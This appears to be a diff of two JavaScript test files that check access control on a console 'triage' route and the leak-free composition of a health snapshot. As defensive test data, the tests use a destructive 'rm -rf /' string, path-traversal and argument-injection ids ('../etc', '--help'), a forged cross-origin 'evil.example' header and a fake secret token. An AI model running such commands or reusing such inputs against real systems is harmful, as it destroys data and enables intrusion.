const triage = fakeTriage();
const s = await startServer({ port: 0, sso: auth.sso, send: async () => ({}), triage, userOptions: () => ({}), log: () => {} });
t.after(() => new Promise(r => s.close(r)));
const port = s.address().port;
const owner = auth.writeHeaders(await auth.signIn(port));
assert.equal((await send(port, '/api/triage', { headers: owner })).status, 200, 'the SSO root owner reaches the read');
assert.equal((await send(port, '/api/triage/message', { method: 'POST', headers: owner, body: { text: 'hi' } })).status, 202, 'and the write');
const before = triage.calls.length;
const signedOut = auth.writeHeaders(null);
const alice = auth.writeHeaders(await auth.signIn(port, { sub: 'alice-sub' }));
for (const [path, method] of EVERY) {
await sameAsUnknown(port, path, method, signedOut, method === 'POST' ? { text: 'hi' } : undefined, 'signed out');
await sameAsUnknown(port, path, method, alice, method === 'POST' ? { text: 'hi' } : undefined, 'granted user');
}
assert.equal((await send(port, '/api/triage', { headers: signedOut })).status, 401);
assert.equal(Object.hasOwn((await send(port, '/api/config', { headers: alice })).json, 'triage'), false);
assert.equal(triage.calls.length, before, 'the host saw nothing from them');
});
test('on an organizations Console the instance owner reaches both routes; a member, a signed-out caller and an org-selected path get the unknown answer', async t => {
const triage = fakeTriage();
const organizations = { list: async () => [], resolve: async id => (id === 'x' ? { busHealthy: true } : null) };
const owner = await devServer(t, { triage, organizations });
const read = await send(owner.port, '/api/triage', { headers: { host: owner.headers.host } });
assert.equal(read.status, 200, 'the owner reads');
assert.equal(read.json.route, 'set');
assert.equal((await send(owner.port, '/api/triage/message', { method: 'POST', headers: owner.headers, body: { text: 'hi' } })).status, 202, 'and writes');
assert.equal((await send(owner.port, '/api/config', { headers: { host: owner.headers.host } })).json.triage, true);
const seen = triage.calls.length;
// With an organization selected the paths are that organization's, and Triage is in none.
for (const [path, method] of EVERY) {
const orgPath = path.replace('/api/', '/api/orgs/x/');
await sameAsUnknown(owner.port, orgPath, method, owner.headers, method === 'POST' ? { text: 'hi' } : undefined, 'org selected');
}
const member = await devServer(t, { triage, organizations, sso: { ...createDevOwner(), session: () => ({ name: 'Bob', rootOwner: false, instanceRole: 'member' }) } });
const signedOut = await devServer(t, { triage, organizations, sso: { ...createDevOwner(), session: () => null } });
for (const [label, f] of [['member', member], ['signed out', signedOut]]) {
for (const [path, method] of EVERY) await sameAsUnknown(f.port, path, method, f.headers, method === 'POST' ? { text: 'hi' } : undefined, label);
}
assert.equal(Object.hasOwn((await send(member.port, '/api/config', { headers: { host: member.headers.host } })).json, 'triage'), false);
assert.equal(triage.calls.length, seen, 'the host saw nothing from them');
});
test('without organizations a member session gets the unknown answer and no drawer in the config', async t => {
const triage = fakeTriage();
const member = await devServer(t, { triage, sso: { ...createDevOwner(), session: () => ({ name: 'Bob', rootOwner: false, instanceRole: 'member' }) } });
for (const [path, method] of EVERY) await sameAsUnknown(member.port, path, method, member.headers, method === 'POST' ? { text: 'hi' } : undefined, 'member');
assert.equal((await send(member.port, '/api/triage', { headers: { host: member.headers.host } })).status, 404);
assert.equal(Object.hasOwn((await send(member.port, '/api/config', { headers: { host: member.headers.host } })).json, 'triage'), false);
assert.deepEqual(triage.calls, []);
});
test('without a host, on a loopback Host under --sso, and on the tester listener the routes are unknown', async t => {
const none = await devServer(t);
for (const [path, method] of EVERY) await sameAsUnknown(none.port, path, method, none.headers, method === 'POST' ? { text: 'hi' } : undefined, 'no host');
assert.equal(Object.hasOwn((await send(none.port, '/api/config', { headers: { host: none.headers.host } })).json, 'triage'), false);
const auth = await createSsoSession(t, { host: 'console.example' });
const triage = fakeTriage();
const s = await startServer({ port: 0, sso: auth.sso, send: async () => ({}), triage, log: () => {} });
t.after(() => new Promise(r => s.close(r)));
const port = s.address().port;
const cookie = await auth.signIn(port);
const loop = { host: `127.0.0.1:${port}`, cookie, origin: `http://127.0.0.1:${port}`, 'sec-fetch-site': 'same-origin', 'content-type': 'application/json' };
for (const [path, method] of EVERY) await sameAsUnknown(port, path, method, loop, method === 'POST' ? { text: 'hi' } : undefined, 'loopback Host');
const { startTesterSocket } = await import('../src/tester-socket.mjs');
const { testerRequest } = await import('../../cli/src/tester-http.mjs');
const root = mkdtempSync(join(process.env.TMPDIR, 'th-'));
const ts = await startTesterSocket({ dataRoot: root, triage, log: () => {} });
t.after(() => new Promise(r => ts.close(r)));
for (const [path, method] of EVERY) {
const body = method === 'POST' ? { text: 'hi' } : undefined;
const a = await testerRequest({ dataRoot: root, path, method, body });
const b = await testerRequest({ dataRoot: root, path: path.replace('/api/triage', '/api/triagz'), method, body });
assert.equal(a.status, b.status, `tester ${method} ${path}`);
}
assert.deepEqual(triage.calls, []);
});
test('the read refreshes a missing or stale snapshot and keeps a fresh one', async () => {
let at = null, clock = 1_000_000;
const calls = [];
const triage = { snapshotAt: () => at, refresh: async () => { calls.push(clock); at = clock; }, state: async () => ({ route: 'not set', running: false, lastExit: null, snapshot: null, transcript: [] }) };
const view = await triageView(triage, { send: true, now: () => clock });
assert.deepEqual(view, { route: 'not set', routeMessage: NO_ROUTE_MESSAGE, overCapUntil: null, running: false, lastExit: null, snapshot: null, transcript: [], send: true });
clock += SNAPSHOT_MAX_AGE_MS - 1; await triageView(triage, { now: () => clock });
clock += 2; await triageView(triage, { now: () => clock });
assert.deepEqual(calls, [1_000_000, 1_000_000 + SNAPSHOT_MAX_AGE_MS + 1]);
});
test('over the cap: the read names the time in plain words and the write answers 429 with it', async t => {
const dataRoot = join(mkdtempSync(join(process.env.TMPDIR, 'th-')), 'data');
const route = { admit: async () => ({ ok: false, code: 'triage-over-cap', until: '2026-11-17T00:00:00.000Z' }) };
const host = createTriageHost({ dataRoot, route, readSnapshot: async () => null, now: () => new Date('2026-11-16T20:00:00.000Z'), bwrap: '/nonexistent/bwrap' });
const f = await devServer(t, { triage: host });
const before = await send(f.port, '/api/triage', { headers: { host: f.headers.host } });
assert.deepEqual([before.json.route, before.json.overCapUntil, Object.hasOwn(before.json, 'capMessage')], ['set', null, false]);
const sent = await send(f.port, '/api/triage/message', { method: 'POST', headers: f.headers, body: { text: 'hello' } });
assert.deepEqual([sent.status, sent.json.error, sent.json.until], [429, 'triage-over-cap', '2026-11-17T00:00:00.000Z']);
const after = await send(f.port, '/api/triage', { headers: { host: f.headers.host } });
assert.equal(after.json.overCapUntil, '2026-11-17T00:00:00.000Z');
assert.equal(after.json.capMessage, capMessage('2026-11-17T00:00:00.000Z'));
assert.equal(host.running, false);
});
test('with the real host and no route: the read says so in plain words, the write refuses, nothing launches or is written', async t => {
const dataRoot = join(mkdtempSync(join(process.env.TMPDIR, 'th-')), 'data');
const host = createTriageHost({ dataRoot, readSnapshot: async () => ({ snapshotVersion: 1, at: '2026-11-16T00:00:00.000Z' }), bwrap: '/nonexistent/bwrap' });
const f = await devServer(t, { triage: host });
const read = await send(f.port, '/api/triage', { headers: { host: f.headers.host } });
assert.equal(read.status, 200);
assert.equal(read.json.route, 'not set');
assert.equal(read.json.routeMessage, NO_ROUTE_MESSAGE);
assert.deepEqual(read.json.snapshot, { snapshotVersion: 1, at: '2026-11-16T00:00:00.000Z' });
const sent = await send(f.port, '/api/triage/message', { method: 'POST', headers: f.headers, body: { text: 'hello' } });
assert.deepEqual([sent.status, sent.json.error], [409, 'triage-no-route']);
assert.equal(host.running, false);
assert.equal(existsSync(host.paths.transcript), false, 'a refused message is not written');
assert.equal(JSON.parse(readFileSync(join(host.paths.health, 'snapshot.json'), 'utf8')).snapshotVersion, 1, 'the read wrote the snapshot');
});
test('the route module keeps its own write checks when called alone: --send, one exact Origin, one same-origin Fetch Metadata', async () => {
const triage = fakeTriage();
const call = async (headers, { send = true } = {}) => {
const distinct = Object.fromEntries(Object.entries(headers).map(([k, v]) => [k, [v].flat()]));
const req = { method: 'POST', headers: Object.fromEntries(Object.entries(headers).map(([k, v]) => [k, [v].flat()[0]])), headersDistinct: distinct,
async *[Symbol.asyncIterator]() { yield Buffer.from('{"text":"hi"}'); } };
let status = null, body = '';
const res = { writeHead: s => { status = s; }, end: b => { body = b; } };
await triageHTTP(req, res, { path: '/api/triage/message', triage, send, origin: 'https://console.example' });
return [status, JSON.parse(body).error ?? 'ok'];
};
const good = { origin: 'https://console.example', 'sec-fetch-site': 'same-origin', 'content-type': 'application/json' };
assert.deepEqual(await call(good, { send: false }), [403, 'read-only']);
assert.deepEqual(await call({ ...good, origin: 'https://evil.example' }), [403, 'cross-origin request refused']);
assert.deepEqual(await call({ ...good, origin: ['https://console.example', 'https://console.example'] }), [403, 'cross-origin request refused']);
const { origin, ...noOrigin } = good;
assert.deepEqual(await call(noOrigin), [403, 'cross-origin request refused']);
assert.deepEqual(await call({ ...good, 'sec-fetch-site': ['same-origin', 'same-origin'] }), [403, 'cross-site request refused']);
assert.deepEqual(triage.calls, []);
assert.deepEqual(await call(good), [202, 'ok']);
});
@@ -0,0 +1,194 @@
// #1873 triage-host: the health snapshot keeps a fixed field list. States, times, counts and codes
// only; a failed system config check leaves no path, token or stderr text in it.
import { test } from "node:test";
import assert from "node:assert/strict";
import { mkdtempSync, mkdirSync, writeFileSync, readFileSync, statSync, readdirSync } from "node:fs";
import { join } from "node:path";
import {
NOT_READ, SNAPSHOT_FIELDS, SYSTEM_CONFIG_CODES, ORG_CONFIG_CODES, ORG_READS_AT_ONCE, composeSnapshot, readSystemConfig, readOrgConfig,
runExitOnly, systemConfigCode, writeSnapshot, busFields, proxyFields,
} from "../src/triage-snapshot.mjs";
const scratch = () => mkdtempSync(join(process.env.TMPDIR, "ts-"));
const SECRET = "sk-ant-TRIAGESECRET0123456789";
const cliError = (message) => Object.assign(new Error(message), { name: "CliError", exitCode: 3 });
function assertClean(snapshot, ...needles) {
const text = JSON.stringify(snapshot);
for (const n of needles) assert.ok(!text.includes(n), `snapshot holds ${n}`);
assert.ok(!text.includes("mosaic-config"), "snapshot holds stderr text");
assert.ok(!/\/(home|mnt|tmp|srv)\//.test(text), "snapshot holds a host path");
}
test("a failed system config check (real validator, bad JSON) leaves no path, token or stderr text", async () => {
const dir = scratch();
const config = join(dir, `config-${SECRET}.json`);
writeFileSync(config, `{"configVersion": 1, "token": "${SECRET}",`);
const env = { PATH: process.env.PATH, HOME: dir, MOSAIC_CONFIG: config, LANG: "C.UTF-8" };
const systemConfig = await readSystemConfig({ env });
assert.notEqual(systemConfig, NOT_READ);
assert.equal(systemConfig.valid, false);
assert.ok(Number.isInteger(systemConfig.exit) && systemConfig.exit !== 0);
assert.ok(SYSTEM_CONFIG_CODES.includes(systemConfig.code), `code ${systemConfig.code} is on the fixed list`);
const snap = await composeSnapshot({ systemConfig: () => systemConfig });
assertClean(snap, SECRET, dir, config);
const file = writeSnapshot(dir, snap);
assertClean(readFileSync(file, "utf8"), SECRET, dir);
});
test("a missing config and an unsupported key are refused by code, never by the validator's words", async () => {
const dir = scratch();
const missing = await readSystemConfig({ env: { PATH: process.env.PATH, HOME: dir, MOSAIC_CONFIG: join(dir, "absent.json") } });
assert.deepEqual(missing, { valid: false, exit: 3, code: "config-not-found" });
const config = join(dir, "c.json");
writeFileSync(config, JSON.stringify({ configVersion: 1, [SECRET]: true }));
const odd = await readSystemConfig({ env: { PATH: process.env.PATH, HOME: dir, MOSAIC_CONFIG: config } });
assert.equal(odd.valid, false);
assert.ok(SYSTEM_CONFIG_CODES.includes(odd.code));
assertClean(await composeSnapshot({ systemConfig: () => odd }), SECRET, dir);
});
test("the stderr mapping keeps only a fixed code, whatever the line says", () => {
assert.equal(systemConfigCode(0, "anything"), null);
assert.equal(systemConfigCode(2, "mosaic-config: instance-root-mismatch: /home/x/.mosaic-dev is claimed"), "instance-root-mismatch");
assert.equal(systemConfigCode(3, "mosaic-config: configuration not found: /home/x/config.json"), "config-not-found");
assert.equal(systemConfigCode(2, `mosaic-config: ${SECRET}`), "config-invalid");
assert.equal(systemConfigCode(9, "/home/x/secret"), "config-check-failed");
assert.equal(systemConfigCode(2, "mosaic-config: not-a-code: x"), "config-invalid");
});
test("a child's stdout is never read and stderr only when asked", async () => {
const script = `process.stdout.write(${JSON.stringify(SECRET)}); process.stderr.write("line one ${SECRET}\\nline two"); process.exit(2)`;
const quiet = await runExitOnly([process.execPath, "-e", script], { env: { PATH: process.env.PATH } });
assert.deepEqual(quiet, { exit: 2, firstLine: "" });
const told = await runExitOnly([process.execPath, "-e", script], { env: { PATH: process.env.PATH }, stderr: true });
assert.equal(told.exit, 2);
assert.ok(!JSON.stringify(told).includes("line two"));
assert.equal(await runExitOnly([process.execPath, "-e", "setTimeout(() => {}, 10000)"], { env: {}, timeoutMs: 200 }), null);
assert.equal(await runExitOnly([join(scratch(), "absent")], { env: {} }), null);
});
test("a system config check that does not reach an exit says not read", async () => {
assert.equal(await readSystemConfig({ run: async () => null }), NOT_READ);
const snap = await composeSnapshot({ systemConfig: () => readSystemConfig({ run: async () => null }) });
assert.equal(snap.systemConfig, NOT_READ);
});
test("the org config check keeps its exit code only, and never runs for an id outside the pattern", async () => {
const calls = [];
const run = async (argv, opts) => { calls.push([argv.slice(-2), opts.stderr]); return { exit: 2, firstLine: SECRET }; };
assert.deepEqual(await readOrgConfig("alpha", { run }), { valid: false, exit: 2, code: "org-config-invalid" });
assert.deepEqual(calls, [[["validate", "alpha"], false]]);
assert.equal(await readOrgConfig("../etc", { run }), NOT_READ);
assert.equal(await readOrgConfig("--help", { run }), NOT_READ);
assert.equal(calls.length, 1);
assert.ok(ORG_CONFIG_CODES.includes("org-config-check-failed"));
});
test("the snapshot holds the fixed field list and nothing a reader adds", async () => {
const now = () => new Date("2026-11-16T12:00:00.000Z");
const snap = await composeSnapshot({
orgs: async () => [
{ id: "alpha", state: "active", root: "/home/x/orgs/alpha" },
{ id: "beta", state: "active", root: "/srv/beta" },
{ id: "gone", state: "archived", root: "/home/x/gone" },
{ id: "../bad", state: "active" },
],
busStatus: async (id) => {
if (id === "beta") throw cliError("stale bus host lock at /home/x/orgs/beta/bus.lock");
return { healthy: true, pid: 4242, boot: { ok: true, at: "2026-11-16T11:00:00.000Z", log: "/home/x/boot.log" }, root: "/home/x/orgs/alpha", socket: "/home/x/s.sock" };
},
processing: async (id) => (id === "alpha" ? { halted: false, invalid: false, reason: SECRET } : { nonsense: 1 }),
orgConfig: async () => ({ valid: true, exit: 0, code: null, stderr: SECRET }),
proxy: async () => ({ unit: { installed: true, active: "active", healthy: true, error: SECRET, path: "/home/x" }, init: { initialized: true, file: "/home/x" }, fence: { set: false, key: SECRET } }),
systemConfig: async () => ({ valid: true, exit: 0, code: null, path: "/home/x/config.json" }),
}, { now });
assert.deepEqual(Object.keys(snap), SNAPSHOT_FIELDS);
assert.deepEqual(snap, {
snapshotVersion: 1,
at: "2026-11-16T12:00:00.000Z",
console: { state: "answering", at: "2026-11-16T12:00:00.000Z" },
proxy: { initialized: true, installed: true, active: "active", healthy: true, fence: false },
systemConfig: { valid: true, exit: 0, code: null },
organizations: {
count: 2,
list: [
{ id: "alpha", bus: { state: "running", lastStart: { ok: true, at: "2026-11-16T11:00:00.000Z" } }, processing: { halted: false, invalid: false }, config: { valid: true, exit: 0, code: null } },
{ id: "beta", bus: { state: "dead", lastStart: null }, processing: NOT_READ, config: { valid: true, exit: 0, code: null } },
],
},
});
assertClean(snap, SECRET, "4242");
});
test("every failed or missing read says not read, and a read that hangs is cut off", async () => {
const hang = () => new Promise(() => {});
const snap = await composeSnapshot({
orgs: async () => [{ id: "alpha", state: "active" }],
busStatus: async () => { throw new Error("EACCES /home/x"); },
processing: hang,
orgConfig: async () => { throw new Error(SECRET); },
proxy: hang,
}, { timeoutMs: 100 });
assert.equal(snap.proxy, NOT_READ);
assert.equal(snap.systemConfig, NOT_READ);
assert.deepEqual(snap.organizations.list, [{ id: "alpha", bus: NOT_READ, processing: NOT_READ, config: NOT_READ }]);
assert.equal((await composeSnapshot({ orgs: async () => { throw new Error("x"); } })).organizations, NOT_READ);
assert.equal((await composeSnapshot({})).organizations, NOT_READ);
assertClean(snap, SECRET);
});
test("bus and proxy reads outside their shapes say not read; unknown unit states are unknown", () => {
assert.equal(busFields({ pid: 3 }), NOT_READ);
assert.deepEqual(busFields({ healthy: false, pid: 3 }), { state: "not-answering", lastStart: null });
assert.deepEqual(busFields({ healthy: false, pid: null, boot: { ok: false, at: "yesterday" } }), { state: "stopped", lastStart: null });
assert.equal(proxyFields({}), NOT_READ);
assert.equal(proxyFields({ unit: { installed: false, active: "rm -rf /", healthy: false } }).active, "unknown");
});
test("the snapshot file is one 0600 file, replaced whole", () => {
const dir = scratch();
mkdirSync(join(dir, "health"), { mode: 0o700 });
writeSnapshot(join(dir, "health"), { snapshotVersion: 1, n: 1 });
const file = writeSnapshot(join(dir, "health"), { snapshotVersion: 1, n: 2 });
assert.equal(statSync(file).mode & 0o777, 0o600);
assert.deepEqual(readdirSync(join(dir, "health")), ["snapshot.json"]);
assert.equal(JSON.parse(readFileSync(file, "utf8")).n, 2);
});
test("organizations are read at most ORG_READS_AT_ONCE at a time and listed in registry order", async () => {
let live = 0, most = 0;
const ids = Array.from({ length: 10 }, (_, i) => `org${i}`);
const slow = async () => { live++; most = Math.max(most, live); await new Promise((r) => setTimeout(r, 5)); live--; return { valid: true, exit: 0, code: null }; };
const snap = await composeSnapshot({ orgs: async () => ids.map((id) => ({ id, state: "active" })), orgConfig: slow });
assert.equal(ORG_READS_AT_ONCE, 4);
assert.equal(most, ORG_READS_AT_ONCE);
assert.deepEqual(snap.organizations.list.map((o) => o.id), ids);
assert.equal(snap.organizations.count, 10);
});
test("the organization reads share one deadline: forty hung organizations take one timeout, not ten", async () => {
let calls = 0;
const ids = Array.from({ length: 40 }, (_, i) => `org${i}`);
const hang = () => { calls++; return new Promise(() => {}); };
const began = Date.now();
const snap = await composeSnapshot({ orgs: async () => ids.map((id) => ({ id, state: "active" })), busStatus: hang, processing: hang, orgConfig: hang }, { timeoutMs: 200 });
const took = Date.now() - began;
assert.ok(took < 800, `took ${took} ms`);
assert.ok(calls < ids.length, `${calls} reads began`);
assert.equal(snap.organizations.count, 40);
assert.deepEqual(snap.organizations.list.map((o) => o.id), ids);
for (const o of snap.organizations.list) assert.deepEqual([o.bus, o.processing, o.config], [NOT_READ, NOT_READ, NOT_READ], o.id);
});
test("an organization begun late gets only what is left of the deadline", async () => {
const ids = ["a0", "a1", "a2", "a3", "a4"];
const hang = () => new Promise(() => {});
// Three readers hang; a3 answers after 300 ms, and the worker that read it starts a4 with 100 ms left.
const orgConfig = (id) => (id === "a3" ? new Promise((r) => setTimeout(() => r({ valid: true, exit: 0, code: null }), 300)) : hang());
const began = Date.now();
const snap = await composeSnapshot({ orgs: async () => ids.map((id) => ({ id, state: "active" })), orgConfig }, { timeoutMs: 400 });
const took = Date.now() - began;
assert.ok(took < 600, `took ${took} ms`);
assert.deepEqual(snap.organizations.list.map((o) => [o.id, o.config === NOT_READ ? "not read" : "read"]), [["a0", "not read"], ["a1", "not read"], ["a2", "not read"], ["a3", "read"], ["a4", "not read"]]);
});